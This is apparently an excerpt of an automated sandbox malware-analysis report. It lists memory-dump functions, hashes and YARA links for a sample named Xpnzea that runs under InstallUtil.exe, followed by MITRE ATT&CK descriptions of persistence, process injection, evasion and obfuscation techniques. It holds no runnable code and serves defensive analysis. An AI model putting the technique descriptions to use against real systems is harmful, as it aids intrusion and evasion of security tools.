Function 05FFEFB8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ac64641fb09373279900a722d1fb9d99c8db18e4b5ff3788543b191f4d8781b
Instruction ID: 131e352257d2f419c300424490fd057fecf21f10fd1e01ed446650e1c74e9a6a
Opcode Fuzzy Hash: 9ac64641fb09373279900a722d1fb9d99c8db18e4b5ff3788543b191f4d8781b
Instruction Fuzzy Hash: 3FE08630C1520CEFCB40DFB4D40566CBFF8AB05201F1001E98905A3660E7700A40CB41

Function 05FF02E8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf19bbdf8bfe2725c16fec872016bcfaa144af3026910dca585e4369d1c37f50
Instruction ID: f82fa52d8caee2a1114309350a3d38508222be03be1f0cc0187b2b6aa166ea52
Opcode Fuzzy Hash: cf19bbdf8bfe2725c16fec872016bcfaa144af3026910dca585e4369d1c37f50
Instruction Fuzzy Hash: 10E08C34909208DBCB04DF94E84596CFBBCEB46304F2080DDC80923762CA315E02DB84

Function 06021FA8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cd3facd4508cf55a8ae56737fcd94d7973154cfede4ff708a735851e74e47a8
Instruction ID: 7c4c3894ae692a46cdd95c1fec3190724e81eb87bed85919fd0527f5bd902d8c
Opcode Fuzzy Hash: 9cd3facd4508cf55a8ae56737fcd94d7973154cfede4ff708a735851e74e47a8
Instruction Fuzzy Hash: 4BE04F34601308EFC784EFB8E6415ADB7B6EB4821175080A8E409E3200DB716ED0CB52

Function 05FFB3F4 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6f01075b4f8d1a156915f9dc2c9e367d9d0d51cf64fb7666659a2080822c14
Instruction ID: e54987e7aa0c5a7d6489d4591961521cd7a2d52db982e2b160607c8ae4e41336
Opcode Fuzzy Hash: 1d6f01075b4f8d1a156915f9dc2c9e367d9d0d51cf64fb7666659a2080822c14
Instruction Fuzzy Hash: 7EF002B4D4222D9FCBA4DF55E88D6ACBBB6BB59315F1081D9940DA3360EB345E80CF40

Function 06020448 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30ef687b7e77ac4bd2a71a93fc2024535efa641b0274e0c823c705b02ccc52c6
Instruction ID: 163dd0cabf2edf01022b58e3edc1ebab673ea4fc6ad4481c32ac4c7859d3d845
Opcode Fuzzy Hash: 30ef687b7e77ac4bd2a71a93fc2024535efa641b0274e0c823c705b02ccc52c6
Instruction Fuzzy Hash: D0D01270C49308DFD744DFA5A54056CBFBDAB42301F6081EDC80527651D6715E44DF85

Function 0602E381 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11891c27bb0acc977cd39e3dbf0c4ab56d3eca7c090d1b9168641024ed2849ab
Instruction ID: 1ef9837c2c95829020ffd9531d12b9c2014662fedf6ce1dc7a13f195aee5bef8
Opcode Fuzzy Hash: 11891c27bb0acc977cd39e3dbf0c4ab56d3eca7c090d1b9168641024ed2849ab
Instruction Fuzzy Hash: 7BD05E3904E3846FC3028B30EC41CC63F79DB1A16431540D6F0488B233C522E994C7A1

Function 06020B78 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc0c2ed38c2839361f1a086c9e0f9b8d3c176538788a28d1969f4389dda1b4d1
Instruction ID: 72934f876c735a60b7370d13aee4a3bdf559e5e13fd21ff2ec8dc48d19f479ec
Opcode Fuzzy Hash: dc0c2ed38c2839361f1a086c9e0f9b8d3c176538788a28d1969f4389dda1b4d1
Instruction Fuzzy Hash: 23E01270E0520CEBDB00EFB4E9417AEB7B5EB84300F5085A9E804E7241EE716F009781

Function 02B0FC58 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1627766007.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b00000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3021fdcf5709df8e2716f3e98e48a2905ad614733b949178481f501071cc2c6
Instruction ID: 1b1217d4eef0ebcaa140ef5872c34e5cc1ef51336b2d8be34fba0e9beac508e5
Opcode Fuzzy Hash: f3021fdcf5709df8e2716f3e98e48a2905ad614733b949178481f501071cc2c6
Instruction Fuzzy Hash: 67D0A730A0D208DFCB24CB95D881A79FBBCDB46214F2080DD8C09537A1DF729D01DB80

Function 06020B30 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d59c5450010f2e1c20073922a0459f81446b70ade789fe50334eb20ceede4ca
Instruction ID: c0dc70da1d0ca97bd9d989da09ab3d3406679327a8f534755997e1ad5bdb2fd3
Opcode Fuzzy Hash: 7d59c5450010f2e1c20073922a0459f81446b70ade789fe50334eb20ceede4ca
Instruction Fuzzy Hash: 61E01270A0420CEFCB00EFB8E54169DB7F9EB44300F5055A9D408E3705EA716F009792

Function 06020B76 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45705b50e84ac1774e1796c89eb7b5205de052b82baa3f5ad5d8baff800627e7
Instruction ID: 0b1e9b7a3560591d5c48b80c5a2552c62ed10ba91903ed7dc829e39cec94cb2f
Opcode Fuzzy Hash: 45705b50e84ac1774e1796c89eb7b5205de052b82baa3f5ad5d8baff800627e7
Instruction Fuzzy Hash: 38E01275E05208EBDB40DBB4EA827EE77B1EF84300F5085A9D408E7241EA716F019741

Function 060223F0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cca7696afa7f317a2244e6a7627175b66708b5f2d03dd64fb9d1a85b11454137
Instruction ID: f668592b093e9c0947a3973d3336a88d5b7c3d93c8237a152b8d276f9f924f1f
Opcode Fuzzy Hash: cca7696afa7f317a2244e6a7627175b66708b5f2d03dd64fb9d1a85b11454137
Instruction Fuzzy Hash: 59C04C3555B2902FEB031630AD579D37F6595032007190582B084D64A2C41D1656DB66

Function 064BD010 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1657725165.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_64a0000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a699254efac5a1f6c32fba1ef024e5c8d1cce881344742b8dd47860eb69c319
Instruction ID: 8bd3909f303dab288c13e54ecfa0e035eee2f8c9fefe0021cc4be397c06a6954
Opcode Fuzzy Hash: 5a699254efac5a1f6c32fba1ef024e5c8d1cce881344742b8dd47860eb69c319
Instruction Fuzzy Hash: DFC08C3285B20A8FEA581B82A8083B1BBAC8B0720AF0038C7590C11921CAB05442CBA5

Function 02B0C118 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1627766007.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b00000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b38e5e17e8b947384096c8e7fb22d786bb71a1f679dd5052c05dc5fa5e715f8
Instruction ID: b3b0d2318825be25efe4bde7345c6309a49ce32f4ab705f40a845c1e0cbc3f04
Opcode Fuzzy Hash: 8b38e5e17e8b947384096c8e7fb22d786bb71a1f679dd5052c05dc5fa5e715f8
Instruction Fuzzy Hash: 6FC080310212084FD3553B95BC0E7347F5CD705317F040197E55C104709F7514D0CB15

Function 02B00904 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1627766007.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b00000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60db21c30d9e0566cf0ffd871d7f6aecefdad827da6cdfd79a4bae25fbc6b004
Instruction ID: 243cf56b85f58aef401fccb2a9e191206084fce440e02e24b7cf12e3e8729775
Opcode Fuzzy Hash: 60db21c30d9e0566cf0ffd871d7f6aecefdad827da6cdfd79a4bae25fbc6b004
Instruction Fuzzy Hash: 5FD0A739901360CFC7096F14EC847153BB4FB08341B560895C847A3250C334E8019A86

Function 064A43C3 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1657725165.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_64a0000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ff930fe77d3d1e745efcdd1ec3ae2f64480a27908527102b970e12def7d926
Instruction ID: aa047fd1c3cd372226188c41336ffacb2c0f3d8805f1bb09f8ece4b17ac3ca1e
Opcode Fuzzy Hash: 52ff930fe77d3d1e745efcdd1ec3ae2f64480a27908527102b970e12def7d926
Instruction Fuzzy Hash: B7D023301021048FD300DFD0C8077E776F5D784304F109055D01973384CF354D414B52

Function 0602BEB1 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35ea76d9ce315df6d15dd92612d77cd6fa46df5db9045a1e905d3cef81d8542e
Instruction ID: ea2eec05faf630629c00ad4847aaad37681b74a8976d1e03c13494b224aed3c8
Opcode Fuzzy Hash: 35ea76d9ce315df6d15dd92612d77cd6fa46df5db9045a1e905d3cef81d8542e
Instruction Fuzzy Hash: 26B0122C04F3D83FC78332313C12CFA1E350C5312038901C371709916394085A945275

Function 06024EF0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b83b8f706a8543c4a66ef7486c0cfb04ad116242a6ade406e6f2d7ed60358d2f
Instruction ID: b7c7a7fdca7506684158dcc16e2b17270672f761d9cee434c9378abea86f026a
Opcode Fuzzy Hash: b83b8f706a8543c4a66ef7486c0cfb04ad116242a6ade406e6f2d7ed60358d2f
Instruction Fuzzy Hash: 7BC08CE2C8A2C00FC60396301C224563F254A222003060993B002C50A3C908A604822B

Function 02B008A0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1627766007.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b00000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d61dee42daf54a248519779e7ea61a8804d7184832438a61dbb44f93fd4ee2e4
Instruction ID: 5d38e86a6edd3b0e25b50f003382b8a5df5ce350f2da5e0cd9a69f44ec98fa3d
Opcode Fuzzy Hash: d61dee42daf54a248519779e7ea61a8804d7184832438a61dbb44f93fd4ee2e4
Instruction Fuzzy Hash: 30B01242CB99A1CED70608780C209441A60EBF1E117C90BB77491D7ACBF10CC80E4074

Function 02B00880 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1627766007.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b00000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 634224c9df237e6530a3be125a389133344698030af60162ae4f2b43fd140765
Instruction ID: 6db4c456e7d096d12184200aa9a34306340785c2eb4b2ed8938810dcfecf7c87
Opcode Fuzzy Hash: 634224c9df237e6530a3be125a389133344698030af60162ae4f2b43fd140765
Instruction Fuzzy Hash: 4BC04C31447B14DEEB04577578163607FA8E780215F844017E45994031972825059946

Function 05FF7EE8 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d01550453e9d22ac991536becd95d56a6111d2ac801dddf06ba9e1338f59726
Instruction ID: 1952a0e03c6149118aecffd7252486e43cc41fc8137ca8643bb212301b2dbd43
Opcode Fuzzy Hash: 5d01550453e9d22ac991536becd95d56a6111d2ac801dddf06ba9e1338f59726
Instruction Fuzzy Hash: 18C04C76E1001E9BCF04DBD9E9418DCFBB4EF94322F404036D214A7104D6301526CF54

Function 02B0FFA8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1627766007.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b00000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af8e06a732ca707132f27ef7a83e288a845aad2dfe2584e40d54ff240b01922d
Instruction ID: 2ad57114494cc740969b95bee8f444b209d5990da35e5c480c7824bf6c3857fe
Opcode Fuzzy Hash: af8e06a732ca707132f27ef7a83e288a845aad2dfe2584e40d54ff240b01922d
Instruction Fuzzy Hash: B7C09276140208EFC700DF69E844C45BBB8FF1976071180A1FA088B332C732E820DA94

Function 0602E390 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Function 02B00890 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1627766007.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b00000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ff7b44169ad368474a442af72fe171979dc99734d65d95f08fbc639f9769c9
Instruction ID: 76dbf9f6db69bdb4e807b0772a51d5522ec86f9d75556f2aaaae69b881502439
Opcode Fuzzy Hash: f4ff7b44169ad368474a442af72fe171979dc99734d65d95f08fbc639f9769c9
Instruction Fuzzy Hash: 15900232046E0CCF4A4027967819555BB6CEA845267D40052F51D555115A6564144595

Non-executed Functions

Function 05FF23FC Relevance: 6.4, Strings: 5, Instructions: 131COMMON

Download Yara Rule

Strings

`, xrefs: 05FF2D44
%, xrefs: 05FF332A
i, xrefs: 05FF20D1
G, xrefs: 05FF2BA8
%, xrefs: 05FF20FD

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID: %$%$G$`$i
API String ID: 0-439984575
Opcode ID: 903a15f2bfa2938574da28380297422f2ce6fb97e097126cf098f7cdbce2af89
Instruction ID: cdbb0575c78eec4310273214cc46f37b421bfcad414292488e3ddf0ccb4e957a
Opcode Fuzzy Hash: 903a15f2bfa2938574da28380297422f2ce6fb97e097126cf098f7cdbce2af89
Instruction Fuzzy Hash: 1061B274901218CFDB60DF68C888B9DBBB2BF49315F2481D9D509A76A0DB39AEC0CF55

Analysis Process: InstallUtil.exePID: 4836, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	11.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	10
Total number of Limit Nodes:	2

Executed Functions

Function 026893F8 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1708509653.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2680000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bd9ff83cb4930eb404a8b524bcd0d2658fbb061e13f5d1e763ee3868508a7bd
Instruction ID: baf6b4e8cf072326898f249ccfa5348ac20e2bdeb6e08bdb8888c7acba5f221a
Opcode Fuzzy Hash: 8bd9ff83cb4930eb404a8b524bcd0d2658fbb061e13f5d1e763ee3868508a7bd
Instruction Fuzzy Hash: 18326D74A012059FDB14EF68D484BADBBB2FF88310F248669E906EB395DB75DC41CB90

Function 026893E4 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1708509653.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2680000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcca63b9f04e76d13ed631a7a26426b075185a779595b410e2ff6a71c1971712
Instruction ID: 9628d53de94c559cd301aa6dc939ac0e773782cf128d2921d6cb3bad07f21955
Opcode Fuzzy Hash: fcca63b9f04e76d13ed631a7a26426b075185a779595b410e2ff6a71c1971712
Instruction Fuzzy Hash: DF916D34A01214DFDB18EFA8D595AADBBB2FF88310F248569E906E7364DB35DC42CB50

Function 0268F351 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1708509653.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2680000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4a557f9e5c6bd15779932c9f5c1d7ca538061023cfa2bf9976c41b8320a6273
Instruction ID: 78a1d2f1f8269b6d9a130a98e386d72164b1ef8e54bd97196da96eab76a638c8
Opcode Fuzzy Hash: c4a557f9e5c6bd15779932c9f5c1d7ca538061023cfa2bf9976c41b8320a6273
Instruction Fuzzy Hash: 08317030E1060A9BDB19EF65D89469EB7F2FF89300F508529E806E7750DB74AC46CB90

Function 0268F360 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1708509653.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2680000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec9d42a271d8d0070a676d90819bc5b7093dd733507624a8f4d1698b86fbfb10
Instruction ID: 33c7601d732d8b9d4860d8b3e742644e7e7b0315b96914c92ae79d28a905625a
Opcode Fuzzy Hash: ec9d42a271d8d0070a676d90819bc5b7093dd733507624a8f4d1698b86fbfb10
Instruction Fuzzy Hash: 15316E34E1060A9BDB19EFA5D89569EB7F2BF89300F508529E806E7750DF74AC41CB90

Function 026892D1 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1708509653.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2680000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ac5b40533ae7c5ea8abd21def11ed6a44ced474ea1adc7cce0bd8cd089553e
Instruction ID: ec2c4535659a7fcb80c48935547b257e6ad3240d8d428102223d1f20fa1a74f6
Opcode Fuzzy Hash: f4ac5b40533ae7c5ea8abd21def11ed6a44ced474ea1adc7cce0bd8cd089553e
Instruction Fuzzy Hash: F5319331E006069BDB09DFA4D9907EEB7B2FF89304F10862AE405FB390EB719846CB50

Function 026892E0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1708509653.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2680000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f94e9e7bb35abfb713f7c0e9401c21d5289ccd52b1085eb6882df5a15f334170
Instruction ID: b182576b43bb4d45efecf7739fd5f01dffab70cfca8c78a09d7a69ee62af2726
Opcode Fuzzy Hash: f94e9e7bb35abfb713f7c0e9401c21d5289ccd52b1085eb6882df5a15f334170
Instruction Fuzzy Hash: 9A217430E0060A9BDF19DFA5D9906EEF7B2FF89304F148629E805EB394EB719841CB50

Function 02681343 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1708509653.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2680000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 322b3ed1a64d8aa1f60e458b3f088ac789915cdd9a1eb62220569a0dea321786
Instruction ID: d7b7ef95320b802070da47492eff572cf34fa0e3cf7ae591ac83a251b89b35f8
Opcode Fuzzy Hash: 322b3ed1a64d8aa1f60e458b3f088ac789915cdd9a1eb62220569a0dea321786
Instruction Fuzzy Hash: FB21AC74A003418BEF327768E49836C3766EB43319F100AEAE40AD7391DF29CC868B56

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
